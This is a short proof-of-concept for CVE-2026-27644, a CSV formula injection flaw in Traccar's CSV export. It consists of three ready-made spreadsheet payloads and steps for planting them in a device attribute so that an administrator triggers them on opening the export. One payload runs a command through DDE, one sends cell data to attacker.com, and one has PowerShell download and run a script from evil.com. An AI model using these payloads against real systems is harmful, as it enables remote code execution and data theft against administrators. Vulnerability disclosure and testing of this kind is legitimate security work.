CVE-2026-27644 Traccar CSV导出公式注入漏洞

# Proof of Concept for CVE-2026-27644 (CSV Injection) # An attacker with low privileges can inject a formula into a device attribute. # Payload 1: Windows Command Execution (using DDE) payload_cmd = "=cmd|' /C calc'!A0" # Payload 2: Data Exfiltration (exfiltrating cell content to remote server) payload_exfil = "=HYPERLINK(\"http://attacker.com/steal?data=\"&A2,\"Click here\")" # Payload 3: PowerShell Execution payload_psh = "=MSEXCEL|'\\..\\..\\..\\..\\Windows\\System32\\cmd.exe /c powershell -c IEX(New-Object Net.WebClient).DownloadString(\"http://evil.com/shell.ps1\")'!'!'" # Steps to reproduce: # 1. Login to Traccar as a regular user. # 2. Go to device settings and update the 'Unique ID' or a custom attribute to one of the payloads above. # 3. Ask an administrator to export the positions/reports to CSV. # 4. When the admin opens the CSV in Excel, the formula executes. print(f"Payload to inject: {payload_cmd}")